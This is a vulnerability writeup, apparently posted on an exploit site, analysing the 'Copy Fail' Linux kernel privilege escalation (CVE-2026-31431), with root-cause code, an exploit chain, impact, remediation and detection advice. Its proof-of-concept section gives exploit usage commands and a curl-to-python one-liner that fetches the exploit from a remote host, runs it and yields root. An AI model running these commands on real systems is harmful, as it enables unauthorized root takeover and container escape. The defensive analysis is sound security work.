Share
## https://sploitus.com/exploit?id=565CEDC2-76B0-524D-B395-D7A39CA82E5C
# CVE-2026-31431 PoC
## Local Privilege Escalation in the Linux Kernel via `algif_aead` Page Cache Write ("Copy Fail")

**Author:** Van Glenndon Enad

**Original Discovery:** Theori / Xint Code Research Team (Taeyang Lee)

**Published:** April 29, 2026

**Severity:** High

**CVSS v3.1 Score:** 7.8

**CVSS v3.1 Vector:** CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

**CWE:** CWE-787 (Out-of-bounds Write), CWE-269 (Improper Privilege Management)

***

## Table of Contents
1. [Executive Summary](#executive-summary)
2. [Affected Software](#affected-software)
3. [Vulnerability Description](#vulnerability-description)
4. [Root Cause Analysis](#root-cause-analysis)
5. [Prerequisites](#prerequisites)
6. [Exploit Chain](#exploit-chain)
7. [Payload Analysis](#payload-analysis)
8. [Proof of Concept](#proof-of-concept)
9. [Impact](#impact)
10. [Remediation](#remediation)
11. [References](#references)
12. [Disclosure Timeline](#disclosure-timeline)

***

## Executive Summary

CVE-2026-31431, publicly nicknamed **"Copy Fail,"** is a high-severity local privilege escalation (LPE) vulnerability in the Linux kernel's `algif_aead` module โ€” the AEAD cipher interface of the kernel's userspace cryptographic API (`AF_ALG`). The flaw originates from a performance optimization (`in-place operation`) introduced in 2017 via commit `72548b093ee3`, which inadvertently allowed page-cache-backed file pages to be placed into the writable destination scatterlist during an AEAD cryptographic operation. [cert.europa](https://cert.europa.eu/publications/security-advisories/2026-005/)

By chaining three kernel subsystems โ€” `AF_ALG` sockets, the `splice()` system call, and the `authencesn` algorithm's scratch-write behavior โ€” an unprivileged local user can perform a **controlled 4-byte write into the page cache of any readable file**. Targeting a `setuid` binary such as `/usr/bin/su`, this write corrupts the in-memory executable image without modifying the file on disk, thereby bypassing on-disk file integrity tools. The resulting privilege escalation to `root` is **deterministic** โ€” no race condition, no per-distribution kernel offsets, and no special privileges are required. A publicly released 732-byte Python PoC exploit delivers root shells on Ubuntu, Amazon Linux, RHEL, and SUSE in a single unmodified run. [bugcrowd](https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/)

***

## Affected Software

| Component | Details |
|---|---|
| **Affected Subsystem** | `crypto/algif_aead.c` โ€” Linux kernel `AF_ALG` AEAD interface |
| **Vulnerability Introduced** | Linux kernel 4.14 (2017), commit `72548b093ee38a6d4f2a19e6ef1948ae05c181f7` |
| **Fixed Versions** | 6.18.22, 6.19.12, 7.0 |
| **Fix Commit** | `a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5` |
| **Verified Distros** | Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, SUSE 16 |
| **Implicitly Affected** | Debian, Arch, Fedora, Rocky, AlmaLinux, Oracle Linux, and any distro running an unpatched kernel built since 2017 |

The vulnerability has been silently present in every mainstream Linux distribution for nearly **nine years**. According to Theori, `AF_ALG` is enabled in virtually every distro's default kernel configuration, meaning no special build flags or configurations are needed for a system to be vulnerable. [security.utoronto](https://security.utoronto.ca/advisories/copy-fail-linux-kernel-lpe-and-container-escape/)

***

## Vulnerability Description

The Linux kernel exposes cryptographic primitives to userspace through the `AF_ALG` socket interface (`crypto/algif_aead.c`). In 2017, a performance optimization was merged that allowed `algif_aead` to perform AEAD operations **in-place** โ€” reusing the source memory buffer as the destination โ€” to avoid unnecessary data copying. [linkedin](https://www.linkedin.com/pulse/warning-new-linux-vulnerability-enables-root-access-iv9ce)

The flaw emerges when userspace feeds input into the `AF_ALG` socket via the `splice()` system call. In this case, the pages placed into the source scatterlist are **page cache pages** โ€” shared, kernel-managed memory backing the spliced file. Due to the in-place optimization setting `req->src = req->dst`, these page cache pages end up in the **writable destination scatterlist**. The `authencesn` algorithm subsequently performs a scratch write at `dst[assoclen + cryptlen]`, which resolves to an offset within those page cache pages โ€” effectively writing attacker-controlled data into the in-memory image of the spliced file. [cert.europa](https://cert.europa.eu/publications/security-advisories/2026-005/)

Because page cache is **shared across the entire host** including containers, a write from one process affects the cached pages of that file for every process and container on the same kernel. [bugcrowd](https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/)

***

## Root Cause Analysis

### The 2017 In-Place Optimization

The offending change in `algif_aead.c` set `req->src = req->dst` and chained tag pages from the source scatterlist into the output scatterlist via `sg_chain()`: [sysdig](https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw-lets-local-users-gain-root-in-seconds)

```c
/* 2017 in-place optimization โ€” commit 72548b093ee3 */
req->src = req->dst;             /* source == destination */
sg_chain(dst, n + 1, src_tag);   /* tag pages chained into writable dst */
```

When `splice()` is used to feed a file into the socket, the scatterlist pages are page-cache-backed, not private anonymous memory. Chaining them into the writable `dst` scatterlist violates the assumption that the destination is writable private memory.
### The `authencesn` Scratch Write
The `authencesn` template writes a sequence number scratch value (`seqno_lo`, bytes 4โ€“7 of the AAD) at `dst[assoclen + cryptlen]`. Because `dst` now contains page cache pages from the spliced file, this write lands at an attacker-controlled offset within the file's in-memory image: [secra](https://secra.es/en/blog/cve-2026-31431-copy-fail-linux-privilege-escalation)

```c
/* authencesn scratch write โ€” offset determined by assoclen + cryptlen */
scatterwalk_map_and_copy(seqno, dst,
                         req->assoclen + req->cryptlen,
                         sizeof(seqno), 1);    /* writes into page cache */
```

The 4 bytes written correspond to `seqno_lo`, which the attacker controls via the AAD payload sent through `sendmsg()`.

### The Three-Component Attack Surface

```
AF_ALG socket (SOCK_SEQPACKET)
    โ”‚
    โ”‚  splice() โ€” delivers file-backed pages into socket
    โ–ผ
algif_aead in-place optimization
    โ”‚  req->src = req->dst
    โ”‚  page-cache pages land in writable scatterlist
    โ–ผ
authencesn scratch write
    โ”‚  writes seqno_lo at dst[assoclen + cryptlen]
    โ”‚  = attacker-chosen 4 bytes at attacker-chosen file offset
    โ–ผ
page cache corruption (no on-disk change)
```
### Why the Fix Works

The fix (`a664bf3d603d`) reverts the in-place optimization entirely โ€” `algif_aead` now always operates **out-of-place**, allocating a separate destination buffer. Since source and destination now come from different mappings, page-cache pages in `src` can never be reached by the `dst` write path. [tenable](https://www.tenable.com/cve/CVE-2026-31431)

***

## Prerequisites

| Requirement | Notes |
|---|---|
| Local unprivileged user account | No elevated permissions needed |
| Kernel built from 2017 onward (โ‰ฅ 4.14) | Covers effectively all mainstream distros |
| `AF_ALG` (`CONFIG_CRYPTO_USER_API`) enabled | Default in virtually all distro kernel configs |
| `algif_aead` module loadable/loaded | Autoloaded on first `AF_ALG` socket creation |
| At least one readable `setuid` binary | e.g., `/usr/bin/su`, `/usr/bin/sudo` |
| Python 3.10+ (for the public PoC) | Only `os`, `socket`, `zlib` from stdlib |

Notably absent from the prerequisites: network access, kernel debugging features, `CAP_SYS_ADMIN`, pre-loaded kernel modules, or any pre-existing primitives. The attack surface is entirely local and self-contained. [bugcrowd](https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/)

***

## Exploit Chain

```
Step 1: Attacker opens an AF_ALG AEAD socket (SOCK_SEQPACKET)
        โ”‚  autoloads algif_aead module; no root required
        โ–ผ
Step 2: Attacker opens the target setuid binary (e.g. /usr/bin/su) for reading
        โ”‚  only read permission needed
        โ–ผ
Step 3: splice() transfers pages of the target file into the AF_ALG socket
        โ”‚  page-cache pages now in the source scatterlist
        โ–ผ
Step 4: In-place optimization fires: req->src = req->dst
        โ”‚  page-cache pages enter the writable destination scatterlist
        โ–ผ
Step 5: authencesn decrypt path performs scratch write at dst[assoclen + cryptlen]
        โ”‚  attacker controls assoclen, cryptlen, and the 4-byte seqno_lo value
        โ–ผ
Step 6: Controlled 4-byte overwrite lands in the page cache of /usr/bin/su
        โ”‚  in-memory binary is patched; on-disk file unchanged
        โ–ผ
Step 7: Attacker executes `su` โ€” corrupted in-memory image runs as root
        โ”‚  setuid bit preserved; kernel executes attacker-patched code
        โ–ผ
Step 8: Root shell obtained โ€” privilege escalation complete
```

In container environments, Step 6 propagates the page-cache corruption to the **host** and to **all sibling containers** sharing the same kernel, enabling a full container escape. [bugcrowd](https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/)

***

## Payload Analysis

The PoC (`copy_fail_exp.py`, 732 bytes) uses only Python 3.10+ standard library modules: `os`, `socket`, and `zlib`. The exploit constructs and sends a precisely crafted `sendmsg()` payload to the `AF_ALG` socket after staging file pages via `splice()`. [copy](https://copy.fail)

### Controlled Write Parameters

| Parameter | Attacker Control | Mechanism |
|---|---|---|
| **Target file** | Any file readable by the attacker | Passed to `splice()` |
| **Write offset** | `assoclen + cryptlen` | Set via socket options in `sendmsg()` |
| **Write value (4 bytes)** | `seqno_lo` | Bytes 4โ€“7 of the AAD payload in `sendmsg()` |

### Target: `/usr/bin/su` ELF Patch

The default PoC targets `/usr/bin/su`. The 4-byte write patches a specific instruction in the ELF binary's cached page โ€” replacing a privilege-check branch or `uid` check with a no-op or unconditional jump โ€” so that when `su` is subsequently executed, the `setuid` execution environment runs the patched code as `root`. The corruption is **non-persistent**: a page eviction or reboot restores the original binary. [sophos](https://www.sophos.com/en-us/blog/proof-of-concept-exploit-available-for-linux-copy-fail-cve-2026-31431)

### Why No Race Window

Unlike typical page-cache attacks (e.g., Dirty COW), Copy Fail requires **no race condition**. The write path is straight-line: `splice()` โ†’ `sendmsg()` โ†’ scratch write. Each call is deterministic and synchronous, making the exploit highly reliable across hardware, kernel versions, and distros. [bugcrowd](https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/)

***

## Proof of Concept

> **Warning:** This PoC is provided for educational, research, and authorized testing purposes only. Do not use against any system you do not own or have explicit written permission to test.

The canonical PoC is maintained by Theori at the official repository. It is a self-contained, 732-byte Python 3.10+ script with no external dependencies.

**Default usage (targets `/usr/bin/su`):**

```bash
python3 copy_fail_exp.py
```

**Custom setuid target:**

```bash
python3 copy_fail_exp.py /usr/bin/sudo
```

**One-liner (from official site):**

```bash
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
```

**SHA256 of the canonical PoC:**

```
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
```



The same unmodified script has been publicly demonstrated achieving root shells on Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, and SUSE 16 in a single tmux session. [copy](https://copy.fail)

***

## Impact

| Category | Description |
|---|---|
| **Confidentiality** | Full read access to all files on the host as `root` |
| **Integrity** | Ability to write arbitrary files, install backdoors, modify `/etc/passwd` or `/etc/shadow` |
| **Availability** | Complete host takeover; service disruption possible |
| **Authentication** | No credentials required beyond a local user account |
| **Container Escape** | Page cache is shared across the host โ€” a pod with a local shell can compromise the node and cross tenant boundaries |
| **CI/CD Pipeline** | An untrusted pull request executed on a self-hosted runner becomes root on the runner host |
| **Persistence** | Post-exploitation: SSH key injection, cron jobs, kernel module installation โ€” all trivially achievable |
| **Forensic Evasion** | The on-disk binary is never modified; file integrity monitors (FIM), AIDE, Tripwire see no change |

The most critical impact vector is **multi-tenant environments**: shared development boxes, Kubernetes worker nodes, GitHub Actions self-hosted runners, GitLab/Jenkins CI agents, notebook hosting platforms, and serverless environments where user-supplied code runs under a regular user account. Any such environment running an unpatched kernel is fully compromised by any user who can execute code. [bugcrowd](https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/)

***

## Remediation

### Immediate Action

**Upgrade the kernel** to a version containing mainline fix commit `a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5`: [openwall](https://www.openwall.com/lists/oss-security/2026/04/29/23)

| Distribution | Fixed Kernel Version |
|---|---|
| Upstream Linux | 6.18.22, 6.19.12, 7.0 |
| Ubuntu 24.04 LTS | Vendor patch available โ€” `apt update && apt upgrade` |
| Amazon Linux 2023 | Vendor patch available โ€” `dnf update kernel` |
| RHEL 10.1 | Red Hat patch in progress โ€” AlmaLinux shipped upstream fix |
| SUSE 16 | Vendor patch available โ€” `zypper update kernel-default` |

### If an Immediate Kernel Upgrade Is Not Possible

Disable the `algif_aead` kernel module to block the attack path at its source: [copy](https://copy.fail)

```bash
# Persist the block across reboots
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf

# Unload the module from the running kernel (if loaded)
rmmod algif_aead
```

> **What this breaks:** This does **not** affect dm-crypt/LUKS, kTLS, IPsec/XFRM, SSH, or standard OpenSSL/GnuTLS/NSS. It may affect userspace applications that explicitly use the `afalg` OpenSSL engine or directly bind `aead` sockets. Verify with `lsof | grep AF_ALG` before applying.

### Defense in Depth

- **Containers & sandboxes:** Block `AF_ALG` socket creation via `seccomp` regardless of patch state โ€” add `SOCK_SEQPACKET` + `AF_ALG` to the deny list in your seccomp profile [sysdig](https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw-lets-local-users-gain-root-in-seconds)
- **Kubernetes:** Enforce seccomp profiles on all pods; deploy node-level kernel audit rules to detect unexpected `AF_ALG` AEAD socket creation
- **Detection (Falco rule):** Alert on any process outside the known disk-encryption toolchain opening an `AF_ALG` `SOCK_SEQPACKET` socket โ€” this is the mandatory first step of the exploit [sysdig](https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw-lets-local-users-gain-root-in-seconds)
- **File integrity monitoring:** Standard FIM tools will **not** detect this attack (no on-disk change). Monitor for unexpected `su`/`sudo` executions combined with `AF_ALG` socket usage as a behavioral signal.
- **Principle of least privilege:** Avoid running untrusted code on shared kernels with other sensitive workloads.

***

## Disclosure Timeline

| Date | Event |
|---|---|
| 2026-03-23 | Vulnerability reported to Linux kernel security team by Theori |
| 2026-03-24 | Initial acknowledgment received |
| 2026-03-25 | Patch proposed and reviewed by kernel maintainers |
| 2026-04-01 | Fix committed to mainline (`a664bf3d603d`) |
| 2026-04-22 | CVE-2026-31431 assigned |
| 2026-04-29 | Public disclosure at [copy.fail](https://copy.fail); PoC published on GitHub |
| 2026-04-30 | AlmaLinux ships patched kernel using upstream fix |
| 2026-04-30 | Microsoft security blog, Sophos, Sysdig, Bugcrowd publish analyses |
| 2026-05-01 | Kubernetes container escape PoC published |
| 2026-05-02 | Independent analysis and documentation published |

 [copy](https://copy.fail)

***

- [NVD โ€” CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)
- [Theori / Official Copy Fail Website โ€” copy.fail](https://copy.fail)
- [Theori โ€” Official PoC Repository (GitHub)](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- [Xint Code Blog โ€” Copy Fail: 732 Bytes to Root on Every Major Linux Distribution](https://xint.io/blog/copy-fail-linux-distributions)
- [Microsoft Security Blog โ€” CVE-2026-31431: Copy Fail vulnerability enables Linux root privilege escalation](https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation)
- [Openwall OSS-Security โ€” CVE-2026-31431 Full Disclosure](https://www.openwall.com/lists/oss-security/2026/04/29/23)
- [CERT-EU Security Advisory 2026-005](https://cert.europa.eu/publications/security-advisories/2026-005/)
- [Sysdig Blog โ€” Copy Fail Linux kernel flaw lets local users gain root in seconds](https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw-lets-local-users-gain-root-in-seconds)
- [Bugcrowd Blog โ€” What we know about Copy Fail (CVE-2026-31431)](https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/)
- [AlmaLinux Blog โ€” Copy Fail (CVE-2026-31431) Patches Released](https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail/)
- [Red Hat Customer Portal โ€” CVE-2026-31431](https://access.redhat.com/security/cve/cve-2026-31431)
- [Tenable โ€” CVE-2026-31431](https://www.tenable.com/cve/CVE-2026-31431)

***

> **Legal Disclaimer:** This analysis and proof of concept are published strictly for educational, research, and defensive security purposes. The author does not condone unauthorized access to computer systems. Always obtain explicit written permission before conducting security testing against any system you do not own.